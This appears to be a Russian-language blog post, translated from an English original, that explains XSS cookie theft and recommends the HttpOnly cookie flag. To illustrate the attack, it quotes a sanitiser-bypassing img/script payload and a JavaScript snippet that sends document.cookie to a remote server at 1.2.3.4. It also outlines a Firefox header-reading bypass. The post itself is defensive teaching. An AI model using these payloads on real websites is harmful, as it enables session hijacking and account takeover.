Найти в Дзене
IT Проповедник

Защита Cookie: httpOnly

Итак, у меня есть этот друг. Я снова и снова рассказывал ему, насколько опасны XSS-уязвимости и как XSS сейчас является наиболее распространенной из всех уязвимостей, о которых сообщалось в открытых источниках, - затмив старые стандарты, такие как переполнение буфера и внедрение SQL. Но будет ли он слушать? Нет, он упрямый. Он должен был пойти и написать свое собственное средство для дезинфекции

Итак, у меня есть этот друг. Я снова и снова рассказывал ему, насколько опасны XSS-уязвимости и как XSS сейчас является наиболее распространенной из всех уязвимостей, о которых сообщалось в открытых источниках, - затмив старые стандарты, такие как переполнение буфера и внедрение SQL. Но будет ли он слушать? Нет, он упрямый. Он должен был пойти и написать свое собственное средство для дезинфекции HTML . Потому что, ну, как это может быть сложно? Насколько опасен этот глупый маленький игрушечный скриптовый язык, работающий в браузере ?

Как оказалось, гораздо опаснее, чем ожидалось.

Чтобы оценить, насколько значительными стали XSS-хаки, подумайте о том, сколько времени вы проживаете в сети и как точно сайты, на которых вы заходите ежедневно, знают, кто вы. Все это делается с помощью куки HTTP , верно? Эти крошечные идентифицирующие заголовки, отправленные браузером на сервер от вашего имени. Они являются ключом к вашей личности, что касается веб-сайта.

В большинстве случаев, когда вы принимаете ввод от пользователя, первое, что вы делаете, - это пропускаете его через кодировщик HTML. Такие хитрые вещи, как:

<script> alert ('hello XSS!'); </ script>

автоматически преобразуются в их безвредные закодированные эквиваленты:

& lt; script & gt; alert ('hello XSS!'); & lt; / script & gt;

В защиту моего друга (не то, чтобы он заслуживал какой-либо защиты) веб-сайт, над которым он работает, позволяет пользователям размещать HTML-код. Это часть дизайна. Это сложный сценарий, потому что вы не можете просто заткнуть каждую сомнительную вещь, которая приходит по проводам от пользователя. Вы оказались в неудобном положении, когда вам нужно отличать хорошее от плохого и решать, что делать с сомнительными вещами.

Представьте себе, каким было удивление моего друга, когда он заметил, что некоторые предприимчивые пользователи на его веб-сайте вошли в систему как он и ударили по системе с полными неограниченными административными привилегиями.

Как это произошло? XSS, конечно. Все началось с того, что этот скрипт был добавлен на страницу профиля пользователя.

<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"

Благодаря продуманной конструкции некорректно сформированный URL просто пропускает дезинфицирующее средство. Окончательно обработанный код при просмотре в браузере загружает и выполняет скрипт с этого удаленного сервера. Вот как выглядит этот JavaScript:

window.location="http://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

Правильно - тот, кто загружает эту страницу профиля пользователя с введенными сценариями, просто невольно передает файлы cookie своего браузера на удаленный сервер!

Как мы уже установили, когда у кого-то есть файлы cookie вашего браузера для данного веб-сайта, у них, по сути, есть ключи от вашей личности. Если вы мне не верите, установите расширение для файлов cookie Add N Edit для Firefox и попробуйте сами. Войдите на веб-сайт, скопируйте основные значения файлов cookie, а затем вставьте их в другой браузер, работающий на другом компьютере. Это все, что нужно.

Если cookie-файлы настолько ценны, вы можете спросить, почему браузеры лучше не защищают свои cookie-файлы. Ну, есть способ защитить куки от большинства вредоносных программ JavaScript: HttpOnly куки.

Когда вы помечаете куки с флагом HttpOnly, он сообщает браузеру, что этот конкретный куки должен быть доступен только серверу . Любая попытка доступа к cookie из клиентского скрипта строго запрещена. Конечно, это предполагает, что у вас есть:

  • Современный веб-браузер
  • Браузер, который на самом деле правильно реализует HttpOnly

Хорошей новостью является то, что большинство современных браузеров поддерживают флаг HttpOnly: Opera 9.5, Internet Explorer 7 и Firefox 3. Ирония в том, что флаг HttpOnly был впервые введен Microsoft в седом старом Internet Explorer 6 SP1, дураке, который не совсем известен своей железной защитой.

Несмотря на это, файлы cookie HttpOnly - отличная идея, и их правильная реализация значительно усложняет реализацию огромных классов обычных XSS-атак. Вот как выглядит файл cookie с установленным флагом HttpOnly:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: user=t=bfabf0b1c1133a822; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
Content-Length: 2838

Печенье HttpOnly на самом деле может быть удивительно эффективным. Вот что мы знаем:

  • HttpOnly ограничивает весь доступ document.cookie в IE7, Firefox 3 и Opera 9.5 (не уверен насчет Safari)
  • HttpOnly удаляет информацию cookie из заголовков ответа XMLHttpObject.getAllResponseHeaders()в IE7. Он должен делать то же самое в Firefox, но это не так, потому что есть ошибка .
  • XMLHttpObjects могут быть отправлены только на тот домен, с которого они были созданы, поэтому cookie-файлы не размещаются в разных доменах.

Большая дыра в безопасности, как упоминалось выше, заключается в том, что Firefox (и, вероятно, Opera) разрешает доступ к заголовкам через XMLHttpObject. Таким образом, вы можете сделать тривиальный обратный вызов JavaScript на локальный сервер, извлечь заголовки из строки, а затем отправить его обратно во внешний домен. Не так просто document.cookie, но вряд ли подвиг разработки программного обеспечения.

Даже с учетом этих предостережений, я считаю, что куки HttpOnly - это огромная победа в безопасности. Если бы я - я имею в виду, если бы мой друг - внедрил файлы cookie HttpOnly, это полностью защитило бы его пользователей от вышеуказанного взлома!

Файлы cookie HttpOnly не защищают вас от кражи файлов cookie XSS, но они значительно поднимают планку. Это практически даром, настройка «установи и забудь», которая со временем будет становиться все более безопасной, так как все больше браузеров следуют примеру IE7 и правильно реализуют безопасность файлов cookie HttpOnly на стороне клиента. Если вы разрабатываете веб-приложения или знаете кого-то, кто разрабатывает веб-приложения, убедитесь, что они знают о файлах cookie HttpOnly.

Теперь мне просто нужно пойти рассказать моему другу о них. Я не уверен, почему я беспокоюсь. Он никогда не слушает меня.

Источник IT-Проповедник

А еще у нас есть канал в Telegram